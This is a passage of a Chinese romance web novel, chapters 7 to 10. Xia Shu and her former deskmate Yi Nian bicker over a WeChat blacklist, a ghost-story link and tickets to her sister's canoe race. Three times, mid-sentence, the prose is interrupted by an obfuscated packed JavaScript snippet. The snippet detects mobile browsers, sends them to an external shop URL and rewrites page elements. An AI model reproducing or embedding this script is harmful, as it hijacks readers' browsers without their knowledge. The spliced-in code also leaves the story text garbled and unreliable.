《默许[先婚后爱]》 7. 第 7 章 夏树怀疑自己眼神出了问题。 因为有那么一个瞬间,她似乎在易年脸上看到了小心翼翼的表情。 是她从来没见过的样子。 少时的易年骄傲矜贵,鲜衣怒马,松弛又肆意。 好像任何事都不会在他心中起波澜。 她嘴巴微微张开,匪夷所思地重复一遍:“把你放出来?” “什么叫……把你放出来。” “微信。” 夏树迅速将组装了一下易年的话。 微信,把他放出来? 把他微信,放出来? 把他放出来,微信? 怎么组合都像病句,或许是他又玩起了什么文字游戏。 夏树也懒得去猜,直接问他:“你什么意思啊,能不能说清楚点。” 易年直接气笑了:“说你是白眼狼还真是一点都没说错!” 夏树抱起双臂,一只脚搭在膝盖上,痞里痞气:“哎,你有病吧!这三个字就这么顺口?” 易年没应声,瞥她一眼,便垂眸戳起了手机。 她真的看不懂易年的所言所行。 分明头一天一起吃饭时他看上去很正常,怎么过了一夜又变得这么……刻薄。 不过,也可能是头一天易雯溪在,他就有所收敛,此刻只有她和他两个人,易年就可以随心所欲。 夏树还在腹诽着易年的割裂行为,易年突然将手机扬在了她面前。 “你自己看看!” 他的手掌握着手机的上半部分屏幕,露出来的下面一半屏幕显示着微信聊天框的键盘。 视线上移,她先是看见一个红色感叹,后面绿色聊天气泡里的文字没有看清。 红色感叹号和键盘的空隙里,还有一行灰色的小字。 夏树还想再凑近手机一些,易年就迅速按了锁屏。 “我还以为,昨天一起吃了饭,咱两的……”他停顿片刻,眼眸不易察觉地晃动了一下,“之前的事应该就翻篇了,没想到你还没把我从黑名单放出来。” “你说那个是我?别搞笑了!”夏树指着他的手机,觉得不可理喻,“你属狗的吧,分明是你把我删了,还在这反咬一口。” “不认?” 易年扯着唇,笑容傲慢。 “莫名其妙!我从来没做过的事你让我认什么?” 易年万般无奈地摇了摇头,叹了口气,笃定地抬着下巴:“死鸭子嘴硬!你自己打开你的微信黑名单看看不就知道了。” 他的表情实在坚定,夏树被他说的有点自我怀疑。 但是她真的没有拉黑过易年,就连当初跟他不欢而散之后,无论是Q/Q还是微信,都没想过要删了他或是拉黑他。 她将信将疑地打开微信,指尖一顿:“我找不到黑明单在哪。” 从来没有拉黑过任何一个好友,自然找不到黑名单。 易年挑眉戳了几下手机:“我在群里发了个消息,你自己从我头像点进去看。” 夏树怔楞片刻,照易年的话点开了高中班级群,最新的消息是好几个同学发的问号。 页面上拉,看见了易年发的:【夏树是猪】 “你才是猪。” 她白了他一眼。 易年浅挑着眉,懒得搭理她。 接着,夏树点开易年的头像—— !!! 【已添加至黑名单,你将不再收到对方的消息】 那一排灰色的小字特别显眼。 “我什么时候……”夏树心虚了,“还真的把你拉黑了?” 易年散漫地点头:“如你所见。” “什么时候的事?我怎么,记不得。” 夏树先前的嚣张气焰彻底消失。 她真不记得有这一回事。 “有一次……” 易年语调拖得很慢,“你喝了酒,打视频过来对我发酒疯,挂了视频不解气,还连续发了好多语音来骂我,再然后……” 他的话戛然而止。 “再然后什么?” “就把我拉黑了。” “听上去,怎么这么假!” 不是说不信拉黑他这件事,因为事实已经摆在眼前。 夏树酒量不好,他说的喝了酒拉黑他这个事也不是完全没有可能。 可是她发视频过去发酒疯骂他,她不信。 很可能是易年添油加醋说的。 “我这还留着你发过来的语音呢,要不然我放出来给你听听?” 易年当着她的面解锁了手机。 夏树期待地看着他。 他盯着屏幕出神几秒,又说:“算了。” 夏树的好奇和怀疑彻底被勾了起来:“我不信,除非你给我看看。” 说着,夏树站了起来,伸手就要去拿易年的手机。 易年反应迅速,在夏树碰到他的手机之前,他就将手机举过头顶。 “手短,就别为难自己。” 语气很欠。 夏树被这话一激,打定主意要从他手上把手机夺过来。 “你就吹牛吧,要是里面真像你说的那种,我当场给你表演一个生吞手机。” 她继续伸手去够,易年却迅捷地将手机换到了另一只手,在半空摇晃了几下,还挑衅般地扬了扬眉:“还是算了吧,手机太大了,我怕你噎到。” 她放话:“你有本事就别让我拿到!” 易年扯着唇:“你可以试试。” 夏树面无表情地瞥着他。 他那模样真的很欠揍!所以,不拿到手机誓不罢休。 她的动作没对方快,如果他举着手机,确实很难拿到。 想了想,夏树决定两只手先在空中虚晃一枪,然后等易年把手机放到矮处,她再硬抢。 于是,预判好易年的动作,夏树两只手分别伸向了易年的肩膀上方。 易年果真如她所料,将手放下,藏到背后。 来不及多想,夏树以迅雷不及掩耳之势,抬手朝易年后背环过去。 可就在她向前一步的同时,绊到了易年的脚尖,虽极力维持着平衡,却还是摔到了易年身上。 她的双臂杵在他的双肩,牙齿不偏不倚磕到了他的额头。 “……” 易年身上清淡的香水味悄无声息地钻进夏树的鼻腔,她的大脑一片空白,脸颊迅速升温,身体却完全不能动弹。 片刻后,反应过来这个离谱的姿势,夏树骤然从易年身上弹开。 夏树:“那个……” 易年:“你干嘛?” 两人的声音同时响起,又同时停住。 夏树老老实实回到椅子上,不太自然地抬眼看向易年。 他抬手轻触着额头,手掌挡住了脸颊,看不到神色,只看见他的脖颈和耳廓有些泛红。 夏树无所适从地将目光渐渐下移,看见易年那只绊到自己的脚。 她抱怨地踢了下他的脚尖:“你怎么不把脚伸到天上去,还害我摔倒!” “你这是,”易年哼笑出声,“不仅要抢我手机,又要占我便宜,占完便宜还反过来怪我?” “我说你——” 夏树原本想回怼易年,抬眼时却看见易年额头正中发红的皮肤,以及那个被自己牙齿撞凹进去的小坑。 “对不起啊。”她不情不愿地说。 “谁对不起谁?”易年懒散地靠着椅背,“你这道歉的语气,听着像是我的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060343|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。” “白眼狼!” “你不跟我撕逼会死啊!” “不会死,但是会难受。” 夏树:“……” 就多余说对不起三个字。 不知为何,夏树脸颊的温度还未降下来,她的鼻腔似乎也还残留着易年身上的味道。 继续待着只会越来越尴尬,于是她又抬起了桌上的咖啡和牛奶:“我还有事,先走了。” 她说完转身就走,易年突然喊:“喂,老同学!” 夏树凝眉回头:“?” 易年:“黑名单!” 夏树瘪了瘪嘴:“知道了。” - 看着夏树走出咖啡厅,易年一口气喝完剩下的大半杯冰美式。 他又抬手摸了摸额间。 还挺疼的。 夏树似乎比高中时更强硬,更“不好惹”。 那时候她偶尔也会跟他拌嘴,但不像现在一样非得争个输赢。 有时候两人打嘴仗还没超过两个回合,夏树气势就会弱了下来,发自内心承认易年说得对。 每次她一示弱,易年就会觉得像是自己真的欺负了她一样,心里感觉怪怪的。 如果现在的她是一匹放纵不羁的野马,那当年的她,就像是野马被圈养了起来,只要一有人轻轻拉动缰绳,她就会乖乖停下来,完全不会反抗。 易年不自觉噙着笑意,呆坐了很久,手机突然在手心震动起来。 “哎呀,老弟抱歉啊,东西拿到没?我刚刚重新看了眼柜姐给我发的信息,才发现我跟你说早了一个小时。” 易雯溪语气不像是在道歉,更像在变相催问易年有没有帮她拿到化妆品。 易年瞥头看了眼化妆品:“对了,你让我拿的这个在你们女生堆里很抢手?” 易雯溪:“是啊,断货王,你怎么突然关心起这个了?” “柜姐说的。” “哦,拿到了吗?” “拿到了,不过……”易年沉默几秒,“被我转手卖了。” “什么?”易雯溪在电话那头炸了,“易年!你在跟我开玩笑吗?” “刚刚,在这边遇到之前玩得很好的哥们儿,”易年轻咳了几声,“他说他女朋友生日礼物就想要这个,求我卖给他,我一心软就卖了。” “你有病吧易年!”易雯溪觉得不可理喻,“我蹲了那么久的东西,你说卖就卖了?” 易年:“一个包!” 沉默片刻。 电话那头语气果决:“一口价,五个,少一个都没得商量!” 易年挑眉,吸了一口气:“易雯溪,你心够黑的啊,你那套化妆品才多少钱,就要我五个包?” “喂,你搞搞清楚,”易雯溪不屑道,“你姐我缺包吗?缺钱吗?你再啰嗦,那我就缺那套化妆品了!” “行行行,”易年懒洋洋地答应下来,“五个就五个。” 挂了电话,易年给夏树发了信息:【白眼狼】 这次没有显示消息被对方拒收。 很快,夏树就回过来:【?我倒不介意再把你关小黑屋】 易年勾着唇:【测试一下你有没有把我放出来而已】 对方显示正在输入,等了片刻,没收到信息,易年想了想,在聊天框里编辑:“我姐那套化妆品买多了,她说让我自己处理,我没地方扔,你要吗?” 在按下发送之前,他又觉得不太妥当,于是删了重新输:“给你寄样东西,你家地址发”—— 易年指尖停住。 又想到了那个出现在医院的男人。 紧接着,聊天框里的字被他全部删掉。 自嘲般地轻叹:“我这是在干什么……” 8. 第 8 章 出了咖啡厅,周雨唯刚好挂断电话,她的样子急切又烦躁,说公司临时需要开个会,不能陪夏树吃饭。 两人互相叮嘱几句注意安全后便各自返程。 夏树打算按照来时的路线,先乘地铁二号线到终点站大学城,再从大学城打一辆摩的回汽修厂。 今天的二号线异常松散,夏树上了地铁就找到空位坐下。 她对面坐着对情侣,女生靠着男生的肩小憩,两人看上去很疲倦,却掩不住脸上满溢的热恋期幸福感。 男生突然在女生额前落下一个吻。 这个场景,使夏树不由自主地回想起在咖啡厅的那一幕。 当时易年好像还说了句她占他的便宜。 她不自觉抿紧唇,越想越觉得离谱。 怎么那时候就没把要怼他的话说完呢,还给他道歉。 现在想想,当时没否认,可能易年真的会以为她是为了占他便宜才那样做的。 原本他只是说她是白眼狼,估计现在他觉得她是白眼色狼。 夏树也想不明白,好好的老同学再聚首怎么会朝着这个剧情发展。 易年一口一个白眼狼地叫着,她还真不知道自己还有哪里得罪了他。 难说他是因为被自己拉黑了,才这样说。 想到这里,夏树解锁手机,从高中群里找到了易年的微信,把他从黑名单里放了出来。 但到底是什么时候把易年拉黑的,真的完全想不起来。 没有和易年的聊天记录,她不确定把好友放出黑名单后聊天记录还在不在,便拿周雨唯的微信做了实验,发现放出黑名单之后原来的聊天记录还在。 现在的这个手机已经用了两年多,夏树没有删除聊天记录的习惯,也就是说,她拉黑易年至少也是两年前的事。 如果真像易年所说,她是喝多了拉黑的他,要喝到断片那种程度,至少也是四年前。 她上的职业学校是三年制,头两年在校期间倒是经常和男同学一起喝酒,第三年开始实习,喝多了第二天上班时没力气,从那时便很少喝酒,更没把自己喝醉过。 夏树正费力回想着,手机突然震动了一下,点开微信后,她的眉心皱了起来。 【易年:白眼狼】 她迅速在聊天框打字:【?我倒不介意再把你关小黑屋】 【易年:测试一下你有没有把我放出来而已】 夏树无语地笑出了声。 测试,随便发个表情或者发个符号不比他打出三个字简单? 她直接怀疑,易年连给她的备注都是白眼狼三个字。 夏树在聊天框打出“你是不是有病!”,在按下发送前忍了忍,把所有字删除锁了屏。 还指望着人家的人脉去看夏林比赛,就先不跟他计较了。 - 辗转近一个小时,夏树回到了汽修厂。 连续两天下午都出了门,厂里多多少少堆积了些活。 吃过晚饭后,夏树交代其余三人收工休息,她自己却留在车间,准备换完一辆车的刹车片再上楼休息。 她戴上劳保手套,熟练地用举升机将车子升高,正准备拆下轮胎时,放置在一旁躺椅上的手机响了起来。 她朝手机走过去,看了眼屏幕,摘下手套划了接听,点开免提,又把手套戴上。 “加班结束了?”夏树抬高音量,一边走向车子,一边问。 “可不是吗,刚到家。”周雨唯叹了声气,“牛马的周末就这样草草结束。” 周雨唯学的是电子商务,毕业后就进了离阳市一家连锁甜品企业的电商运营部,加班是家常便饭。 “想开一点!”夏树安慰她,“好歹你们老板有良心,加班都会给工资。” “呵呵!”周雨唯不屑道,“我妈给我开现在工资的两倍,我都没去她美容院!要不是为了从家里独立出来,我能一直待在这鬼公司?” 说话间,轮胎被卸了下来,夏树抡起轮胎内测往旁边挪:“嗐,哪能既要又要啊,知足常乐吧!” 周雨唯听见夏树提轮胎带出的喘息声:“什么声音?你这是在干什么少儿不宜的事?” 轮胎被放置在一边,夏树右手手背叉腰,松了一口气:“下了个轮胎。” “这都几点了,你还在修车啊?” 夏树瞟了眼墙上的挂钟,还不到九点半。 “还早啊,就换个刹车片,三四十分钟的事儿。” 周雨唯挤了下嘴,带着责怪的口气心疼道:“哪有你这样当老板的,只会没日没夜地干活!” 夏树对着手机抬了抬唇,又继续蹲到车旁,开始检查刹车零件:“那不得赶紧赚钱,把债还了心里才踏实。” “本来钱已经攒的差不多了,我还说这两天就转给干妈,谁知道昨天一下花了四千多,现在估计又要再攒个把月。” “打住打住!”周雨唯责令道,“跟你说过多少次,别整天提这个。” 一年多前准备开鑫鑫汽修厂时,夏树手上本金不够,周雨唯知道后向家里借了五万给夏树,虽然周雨唯和她的父母都说不用着急,让夏树慢慢还,但夏树承诺一年内还清。 汽修厂才开起来的前几个月,生意一般,多数时候都很清闲,从今年春天以后,生意开始好了起来,她就开始没日没夜地加班赶工,想趁早把周雨唯家的钱还了。 知道周雨唯不喜欢她提钱,夏树转了话题:“行行行,那聊点别的。你说,想聊什么?” 电话那头静默片刻。 “诶,对了,今天走得急,忘了问你,易年你俩说什么了?你怎么还红着脸跑出来了?” “我脸红?”夏树手上动作一滞,一颗螺丝突然掉落,“没有吧,你看错了,应该就是天太热了。” 周雨唯玩笑道:“他不会是跟你表白了吧?” “表白!怎么可能!”夏树头皮一紧,做了个吞咽动作,附身捡起掉落在地的螺丝,“就、就只是我跟你说过的,他姐姐帮我弄夏林比赛的入场资格,我跟他说的就是这个事。” 电话那头传来洗脸的水流声。 “是吗?”周雨唯将信将疑,“说真的,当年易年对你跟对其他人还真不太一样,他任何东西都可以让你拿去卖,“要不是后来看见他给级花写的情书,我还真以为他喜欢的是你。” 夏树斩钉截铁:“怎么可能,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060344|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为我跟他是同桌,而且又帮她应付了那个外校追求者,顶多算是某种默契。” 周雨唯啧了一声,“反正我是看不懂他,喜怒不形于色,有时候真像个没有感情的机器人。” 通话间,夏树起身去哪需要替换的零件,离手机距离越来越远,她便抬高音量:“看不懂就对了,我也看不懂。” 周雨唯听到声音断断续续,估摸着夏树还要忙一会儿,便说先挂电话,之后再聊。 挂断电话之后,夏树很快就换好了刹车片,简单收拾了一下车间就上了楼。 洗澡时,水帘延绵落下,不断敲击着皮肤。热水促进了血液循环和血管舒张,这几乎是她一天之中最放松最舒适的时候。 不受控地,她又想起了易年。 在她的记忆里,易年确实几乎不爱跟除她以外的女生说话。 他很优秀,成绩永远是年级前三,个头很高,篮球打得好,写得一手好字,还是某位书法大家的关门弟子。 高一下学期,他被书法协会评选为全国青少年书法推广大使,那时候还上过一次知名综艺节目,成了学校的风云人物,也是许多女生仰慕的对象。 当年不知道是怎么回事,她卖易年照片的消息就在女生堆里传开了,其他班的爱慕者知道了这事,也纷纷找上夏树。 夏树每次询问易年可不可卖,他都会说一句“有钱不赚,你傻吗?”。 后来,从卖照片慢慢演变成了卖易年的周边产品,比如他的书法手稿,还有一些不要了的废题本,或是他的成绩单。 有一次,夏树的其中一个金主直接拜托她问问易年可不可以单独写一句生日祝福。 本着顾客是上帝的原则,夏树明知道易年不会写,还是将金主的要求转述给了易年,没想到他居然毫不犹豫就答应下来。 只说了让夏树别告诉别人是他同意的,让她说成他不知情。 就这样,喜欢易年的女生越多,夏树赚的就越多,那时候的易年在她心里,简直就是财神转世。 周雨唯私下经常会跟她说,易年会不会真的喜欢她。 但每次夏树都说,绝对不可能。 因为易年总是会把那句“我跟你做同桌占了你那边,给你在我身上赚点钱就当是补偿”挂在嘴边。 久而久之,夏树也是这样认为。 - 洗完澡,夏树躺在床上从论坛里扒着各种奇闻异事,准备用来作为新鬼故事的素材。 手机屏幕上方突然跳出一条信息。 易年向她转了2480元。 这串数字有点眼熟,她退出聊天框,从支付记录里找到相同的数字。 说实话,那顿饭吃得夏树肾疼,而且这一笔转账,她看着真的很动心。 但她还是点了退还,并回复:【跟你说了那顿饭我请!】 半分钟后,2480元又被易年转了过来,紧接着易年又发了一条:【那顿不算,钱收回去,改天去其他地方重新请我】 【夏树:不算?请你?】 等了好久,易年回了条语音过来,语气慵懒。 “占我便宜还把我头弄破了,不该补偿?” 9. 第 9 章 手机媒体音量开得小,夏树没听清易年的语音,又点开听了一遍。 “占我便宜还把我头弄破了,不该补偿?” 夏树鄙夷地凝视着自己的手机,像是看到什么脏东西似的,朝着屏幕牢骚了句:“有病,还不轻!” 她是不小心才碰到易年的头,易年不可能不清楚,但他还要这样故意逮着这个事来说,不知道他到底有什么意图。 想了想,夏树决定阴阳回去。 她憋着笑打字:【误伤您我深感抱歉,但请您不要误会,我那不是占您便宜,不要强行自我攻略哦,我可一点都看不上您呢】 约莫一分钟,对方还没没回复,她又补了一句:【至于您头上那么重的伤,您不要转钱给我,那顿饭我请了,就当是补偿了】 两条信息发送过去,夏树心里舒坦多了。 聊天框上方显示对方正在输入,可一直没见易年回信,她把钱退了回去,正准备退出聊天,易年又将钱转了过来。 紧接着收到他的一条语音。 “她那里定价太便宜,配不上我的身份。” 人均六百多的消费,还配不上他的身份? 六百块已经够夏树和保钦元、罗超、罗勇四个人吃一个多星期了,结果这位公子哥,还嫌少? 夏树觉得易年就是在没事找事,故意让她不痛快。 她从床上坐了起来,顺了顺气,忍住了想骂人的冲动,平静地回复:【抱歉啊老同学,既然不领情,那你就只把当那顿饭是我请易姐姐的好了,既然是请她,就跟你没什么关系】 【易年:所以你现在想坐实白眼狼的身份?】 夏树:“……” 她是真的不想跟易年扯皮。 也不知道这位爷抽的什么疯,很反常。 要是不顺着他的话说,指不定他又要继续抽风。 夏树敷衍地打字:【好的,尊贵的老同学,下次一定挑一个牛得不行的地方,敲锣打鼓把您请去吃一顿】 【易年:那倒也不必这么高调】 她懒得再搭理易年,怕自己会忍不住激情开麦直接怼他,索性退出微信继续逛着论坛。 没多久,易年的信息又从手机屏幕顶部跳了出来。 【易年:把钱收了】 夏树切到聊天框,咬唇犹豫了几秒,点了收款。 毕竟易雯溪的受伤不轻,而且他们还要让夏树去看夏林比赛,大不了下次再请他们吃一顿更好的就是了。 突然想起,下午易年说让她把他从黑名单里放出来,是为了给她发夏林的比赛信息。 可到现在都没收到。 【夏树:对了,我妹比赛怎么入场,你下午不是说要发给我】 【易年:我又没说今天发】 夏树深吸一口气,被气到自言自语:“好啊!干得漂亮啊!” 她发现真的不能跟易年有过多往来,要不然绝对会被气得乳腺结节。 她顺手把易年微信设成消息免打扰,只想专心扒着鬼故事,无论易年再回什么,都放到第二天再看。 同一时刻,易年如释重负般退出夏树的聊天框,给易雯溪发了条语音。 “对了,还有件事,今天中午你会所经理给祖母送点心时候说,昨天那顿饭夏树把账结了,本来也是我们说请她们吃饭的,所以我又把钱还给她了。” - 之后的半个多月,鑫鑫汽修厂所有人忙碌了起来。 市政挖绿化带,进出市区的其他路都破烂不堪,只有汽修厂门前这一条路还算干净。 有的车子从修路的地方绕过来,在进城之前就会顺带着拐进汽修厂把车身的灰尘洗干净,每天洗的车比过年前洗的还多。 抽了个不太忙的上午,夏树和保钦元一起轧了帐,这半个月以来的营业额比以往两个月都多。 “小保,你说我们要不要再买个自动洗车设备回来,车子一进一出钱就到账,多省事。”夏树说。 保钦元戏谑道:“老大,你是真的飘了啊!” 夏树脸色倏地沉下来:“这么跟我说话,你找死啊!” “冤枉啊老大,”保钦元蹙着眉,“我的意思是,在咱们这么小一个院子里,你还想弄个洗车机,你想想,能放哪?” 夏树瘪了瘪嘴,环视了汽修厂一圈,果然是没有地方可以放新的设备了。 营收好起来,她是真的飘了。 保钦元:“而且,之前就听说这边要修路还是干嘛的,万一到时候征地把咱们这里征了,那咱们连老巢都没有,所以现在不能再添设备了。” “呸!你这乌鸦嘴,能不能盼着点好,这里被征了难道对你有好处啊!” 鑫鑫汽修厂附近有一个城中村,前些年就听说这里要拆,但是不知道是哪个环节出了问题,一直都没拆。 当初夏树选这里开汽修厂,一方面是它挨着国道,另一方面是房东阿姨如实说,因为城中村一直说要拆,所以没人敢来租,所以才便宜出租。 夏树签了五年合同,只当捡个漏,赌一把这里五年内不会拆。 保钦元站了起来,假模假样地笑了笑:“你看我,嘴又不把门,老大我错了。”说完一溜烟跑进地沟槽给一辆卡车换机油。 夏树把所有账单整理好用崭新的塑封袋装了起来,从微信上提现到银行卡,凑整五万给周雨唯的妈妈转了过去。 没一会儿,周雨唯的电话就打了过来。 夏树正在给一辆车子的内饰吸尘,声音太大没听见铃声,打进来第二遍时,她才注意到,于是关了吸尘器按下接听。 “我刚刚在忙呢,你怎么现在给我打电话,没上班吗?” “我摸鱼给你打的电话,”周雨唯说,“就是还我妈的钱你划多了吧,怎么转了五万二过来,多的那两千我妈让我还给你,是转你微信还是支付宝?” “没多,那两千是利息。” “你什么情况,”周雨唯不乐意了,“我们的关系再谈利息就不合适了吧。” “没有,不管怎么说,一码归一码,而且当时说一年还,现在时间还超了一个多月。” “别啰嗦,我妈就猜到了你会这样说,让我转告你,要是还想认她这个干妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060345|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就别给利息。” “这怎么行,该给的还是要给。” “夏树!”周雨唯毫不妥协,“你再像这样说,那咱两友谊的小船可要翻了,你最好想清楚。” “别别别!” 夏树也设想过对方不会收她的利息,却没想到周雨唯和她母亲会这么坚决。 拗不过她们,夏树干脆想着今后给她们买点礼物送过去,就当抵了利息。 她睫毛下垂抿了抿唇,“那你转我微信吧。” “那还差不多,”周雨唯语调温和下来,“对了,我妈问你下周一能不能来家里吃个饭。” “下周?”夏树思索片刻,“恐怕不行,周一正好是夏林比赛开始的日子。” 提起夏林比赛,夏树突然想起易年还没把入场信息发过来。 “行,那你看看时间,比赛结束挑一天叫上夏林一起,就当给她办庆功宴了。” 夏树轻轻叹气:“还不知道能不能出成绩呢。” “哎,不是我说,你作为她亲姐,不给她加油打气,怎么还在这泄气啊?” 夏树又叹了一声气:“我肯定是给她打气的啊,只是她自己压力大,她说这次的参赛选手条件都比她好。” 夏林小学毕业那年,体校下乡招生,夏树的父母听说体校学费便宜,如果参加比赛得了名次还能有奖金,就鼓动夏林上体校。 那时候的夏林和曾经的夏树一样,顺从父母,所以没多想就同意了。 在皮划艇运动员里,夏林个子不高,如今十六岁只有一米六七,只占了臂展长这一个优势。 之前夏林就跟夏树说过,这次比赛每个人身高都比她高,而且教练对她也不太重视,夏林嘴上说着她已经做好了垫底的准备,但其实很想在比赛时获得成绩。 夏树研究过皮划艇的相关事宜,虽然不愿意承认,但事实上确实是身高不占优势的话,要出成绩很难。 周雨唯:“反正尽人事,听天命吧,你妹年纪也还小,拿不到名次就当成是一次历练了。” 周雨唯说她还在工位上,没聊几句就挂了电话。 挂断电话后,夏树看了眼时间,确定今天是周五,也就意味着再过两天就是夏林的皮划艇省赛。 想着易年这个时候还没发信息过来,会不会是忘了,她打算发信息直接问问易年。 点开微信,聊天列表下滑,找到易年的名字,夏树呆住了。 居然忘记了把易年聊天设成免打扰这件事。 那天后半夜,夏树跟保钦元一起去附近国道做了一单道路救援,那辆卡车油泵故障,而且还爆了胎,他俩一直忙活到天亮,回来后倒头就睡,直接忘了易年这一茬。 紧接着汽修厂忙了起来,更是将这件事抛之脑后。 聊天框点开,她看到了易年给她发的一条信息:【……你是想暗示什么?】 视线上移。 “咳咳!” 夏树一噎,手机差点没拿稳。 不知道什么时候的事,她居然给易年发了一条链接! ——“今夜我想爬上你的床”。 10. 第 10 章 难道是灵异事件?不然她怎么不记得给易年发过这个。 夏树当即打开链接,才发现是她之前在论坛看到过的鬼故事。 她自己的微信聊天框,平时用来当备忘录,或者往里发一些鬼故事素材链接,方便整理。 仔细回想,那晚上,明明是发到自己微信里的,怎么会发给易年了。 最有可能的应该是当时昏昏沉沉想睡觉,把鬼故事链接分享到微信时候点错了,结果阴差阳错发给了他。 ……难怪后来重新整合素材的时候没发现这一篇。 但是,他不会以为这个标题“今夜我想爬上你的床”是她意有所指,所以才问她想暗示什么吧。 也不知道易年有没有点开过这个链接。 她记得易年很怕鬼来着,如果他点开了,他会不会以为夏树要故意吓他,所以后来生气了,就一直没发夏林比赛的信息过来。 犹豫几秒,她还是给易年发了个问号过去,想试试易年有没有生气。 发完信息,夏树怕错过对方回复,没把手机装进兜里,而是放在了车子座椅上,继续清理车内饰。 几分钟后屏幕亮了起来,夏树立刻解锁手机。 【易年:欲擒故纵玩腻了?】 “……” 谁家好人欲擒故纵是发鬼故事? 夏树无语地瘪了瘪嘴:“有病!” 不过,易年像这样说,是不是证明他没打开过这个链接。 【夏树:抱歉,这个发错了,不是发给你的】 【易年:那你大半夜的发个鬼故事,想去吓谁?】 他这不是知道里面内容吗,那还说什么欲擒故纵! 【夏树:吓我自己[微笑.jpg]】 【夏树:说正事,之前说的我妹的皮划艇比赛,你还记得吗】 【易年:怎么了】 【夏树:就是,下周就比赛了】 【易年:哦】 这样的提示应该够明显了。 夏树静静盯了屏幕约莫一分钟。 没有收到新信息。 猜测易年可能把这件事忘了。 正在纠结要不要直接跟他说明观赛的事,手机屏幕亮了起来。 夏树立马解了锁,点开微信。 易年发来了一张照片,照片里是一张比赛出入证。 看样子他也没忘。夏树嘴角上扬,直接给易年发了语音:“谢谢老板,祝老板发大财,祝老板越长越帅,桃花越来越旺。” 半分钟后,易年直接打了语音电话过来,语气懒散:“谢我可以,后面的多余了。” “什么?”夏树没懂他的意思。 “我不贪心,目前已经够帅,够有钱了。”他清了清嗓,“桃花也不需要。” 夏树鄙夷地蹙着眉:“你,认真的?” 说自己够帅够有钱,会不会多少有点不要脸? 电话那头语气傲慢:“不然呢?我忙着搞事业,要什么桃花!” “……” 鸡同鸭讲。 夏树扶额吐了口气,“在忙,没什么事我挂了。” “等等,”易年停顿两秒,“出入证就只多出来这一张,所以就只能你一个人来。” 语气听上去理直气壮。 像是夏树要约很多人去,然后他跳出来阻止似的。 话说回来,这不是易雯溪帮忙走的后门吗,而且之前夏树也没说过还有其他人会去,易年这又是抢的什么功。 懒得与他费口舌,夏树敷衍地答:“嗯,本来就只有我一个人会去。” “你的地址发我,周一早上我来接你。” “你也要去?” “我去那边办点事,顺便,去看看比赛。” 夏树挠了挠头,“那不用麻烦你了,到时候我自己过去就行。 “我姐交代的,”易年懒散地轻咳一声,“不一起去,出入证怎么给你?青龙湖那么大,别说到时候让我们进去了又要给你送出来。” “那,我想想……” “别墨迹,一起去,别给我添麻烦。” 易年语气强硬,夏树从里面听出来“你别不识抬举”的意思。 谁叫自己有求于人呢,只能他说什么便是什么。 “那这样吧,你发我个地址,我周一早上过去跟你们汇合,我这边这段时间到处在修路,挖得乱糟糟的,你过来的话肯定会堵车。” 易年漫不经心嗯了声:“随你。” - 周末两天夏树忙得脚不沾地。 原本打算周一坐地铁去和易年易雯溪汇合,正巧汽修厂香蕉水快用完了,夏树就让保钦元开车去建材城重新谈一家供货商,顺便把她送过去。 在途中,两人聊起了夏林的比赛。 保钦元:“老大,你这同学什么来头,居然可以帮你安排到赛场去。男的女的?长啥样啊?” “他啊?你见过。”夏树懒懒地抬着眉。 “谁啊,雨唯姐?” “不是。”夏树挤了下嘴,“就是你说的白白嫩嫩小帅哥。” 保钦元一脸不可置信:“他还有这本事,没看出来他这么牛逼啊!那他是干什么的?” 易年现在干什么,夏树也没问过,想来应该是继承了家里的红酒庄吧。 “卖红酒。” “那他业绩不得了啊,”保钦元认可地点了点头,“我们去酒吧玩,那些酒水销售一个比一个长得好看,单凭你同学那张脸,应该会有不少富婆买单。” 夏树噗嗤一声笑了出来,说他是酒水销售,感觉怪怪的……怪接地气的。 仔细一想,易年如果接手了红酒庄,说他是酒水销售也不为过。 “嗯,你说得对。” 笑意过后,夏树不忘叮嘱保钦元,“我不在的时候,你们三个能接多少活就接多少活,服务质量才是首要,按时吃饭,该休息就休息。” “知道了老大!”保钦元语调尖锐,“你不是明天就回来了吗,说得好像要去多久似的。” 夏树神色不悦:“你还不耐烦了是吧!” 皮划艇比赛一共持续四天,昨天秩序册发到运动手上,夏林才知道自己的项目比赛时间分别是在周一和周二的上午。 从离阳去到比赛场地青龙湖需要两个多小时,不想来回跑着折腾,夏树就决定在青龙湖景区附近的民宿住一晚,等夏林比完赛再返程。 跟保钦元闲聊着,很快就到了易年发给她的地址,是在南市区的富人集中地,易年在微信上跟她说过这里是易雯溪家。 车子停在别墅区外,还没到跟易年约定好的时间,夏树叫着保钦元一起下车吃个早点。 